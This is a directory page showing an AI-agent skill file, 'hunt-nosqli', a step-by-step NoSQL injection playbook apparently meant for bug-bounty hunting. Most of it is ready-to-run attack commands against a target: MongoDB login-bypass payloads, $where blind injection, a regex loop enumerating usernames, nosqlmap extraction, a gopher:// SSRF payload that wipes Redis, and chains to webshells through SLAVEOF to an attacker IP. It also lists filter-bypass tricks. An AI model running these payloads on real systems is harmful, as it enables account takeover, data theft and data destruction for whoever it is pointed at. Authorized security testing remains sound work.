SuperAPI AI Directory
Partner中文AI newsFavorites
Skillshunt-nosqli

hunt-nosqli

Data & analytics

View repository

Updated 10-16 03:03

About this skill

HUNT-NOSQLI — NoSQL Injection

Crown Jewel Targets

NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).

Highest-value chains:

  • MongoDB auth bypass — {"username": {"$gt": ""}, "password": {"$gt": ""}} logs in as first user in collection (usually admin)
  • $where JS injection — if $where is enabled: blind injection → data exfil
  • Redis command injection — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
  • Elasticsearch injection — _search endpoint with Groovy script injection (pre-5.0) → RCE

Attack Surface Signals

URL & Param Patterns

/api/users/login         POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password

Stack Signals

Signal Vector
MongoDB error messages in response Operator injection
mongoose / monk in JS bundles ODM patterns
X-Powered-By: Express Node.js + MongoDB common stack
CouchDB/_utils UI exposed Futon/Fauxton admin
Redis port 6379 open (via SSRF) CONFIG SET / SLAVEOF
Elasticsearch :9200 open Script injection

Step-by-Step Hunting Methodology

Phase 1 — Auth Bypass (MongoDB)

# Operator injection in JSON body
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Regex wildcard — match any username
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'

# ne (not equal) bypass
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "wrong"}}'

# in array bypass
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'

Phase 2 — URL Parameter Injection

# Array notation (Express/PHP-style)
curl --max-time 30 --connect-timeout 10 "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl --max-time 30 --connect-timeout 10 "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"

# POST form data
curl --max-time 30 --connect-timeout 10 "https://$TARGET/api/login" \
  --data "username[$gt]=&password[$gt]="

Phase 3 — $where Blind Injection (time-based)

# Test if $where is enabled (time-based detection, 5s delay)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed

# Blind data exfil (username starts with 'a'?)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'

Phase 4 — Data Dump via Regex

# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
  RESP=$(curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/users \
    -H "Content-Type: application/json" \
    -d "{\"username\": {\"\$regex\": \"^$c\"}}")
  echo "$c: $(echo $RESP | wc -c)"
done

Phase 5 — Automation

# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1

# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2

Phase 6 — Redis via SSRF

# If SSRF found, probe internal Redis via gopher://
curl --max-time 30 --connect-timeout 10 "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"

# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil

Bypass Table

Defense Bypass
JSON.parse rejects objects Use array: password[$ne]=x (URL params)
Sanitizes $ Unicode: $gt
Blocks operator keys Nested objects deeper in structure

Chain Table

NoSQLi finding Chain to Impact
Auth bypass Admin panel access Full admin control
User enum via regex Credential stuffing Mass ATO
$where enabled Arbitrary JS in DB process Data exfil or DoS
Redis via SSRF CONFIG SET / SLAVEOF Webshell or data exfil

Validation

✅ Auth bypass: logged in without valid credentials, received valid session token ✅ Data dump: returned users/documents you shouldn't have access to ✅ Blind injection: confirmed via time-delay (>4 seconds consistent)

Severity:

  • Auth bypass as admin: Critical
  • User collection dump: High
  • Blind injection (no useful exfil): Medium

Verification

Run this self-test to confirm nosqli hunting readiness:

  1. Skill integrity — confirm the skill file is readable and well-formed:

    grep -q "name: hunt-nosqli" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"

  2. Category check — confirm the skill has a category:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"

  3. Pitfalls section — confirm pitfalls are documented:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"

All 3 tests verify the skill is properly structured and ready for use.

Pitfalls

  • NoSQL injection without data exfiltration — blind NoSQLi returning true/false is harder to exploit. Need data extraction or auth bypass.
  • $regex injection without enumeration proof — if $regex is injectable, demonstrate time-based or boolean-based data extraction.
  • MongoDB $where injection — $where evaluates JavaScript. This is the highest-impact NoSQL injection variant.
  • Operator injection vs value injection — injecting {"$gt":""} in a value field vs injecting operators in the query structure are different attack types.

Related Skills

  • hunt-sqli — Traditional SQL injection complements NoSQL; test both on the same parameter. Chain primitive: param accepts both SQL ' OR 1=1-- and NoSQL {$gt:""} — test SQL first, then NoSQL operator injection.
  • hunt-auth-bypass — NoSQLi login bypass ({\"$ne\":\"\"}) is an auth-bypass primitive, not a data-read. Chain primitive: NoSQLi $gt bypass → admin panel → chain to further privilege escalation.
  • hunt-ssrf — Redis via SSRF is the canonical NoSQL-injection-to-RCE path. Chain primitive: SSRF → gopher://redis:6379/_CONFIG SET... → cron write → RCE.
  • hunt-rce — $where JavaScript injection in MongoDB can reach child_process if the DB process has JS engine access. Chain primitive: $where with sleep(5000) confirm → data exfil via JS this.password → admin hash crack.
  • security-arsenal — Pull the NoSQL payload tree: $gt, $ne, $regex, $nin, $where, $exists operators, MongoDB auth-bypass JSON, PHP array injection param[$regex]=.* patterns.
  • triage-validation — Apply the Pre-Severity Gate. A NoSQL auth bypass that only logs in as the first user in a collection (usually a test/admin account) is Critical; one that logs in as a random user may be Medium if you can't target a specific victim.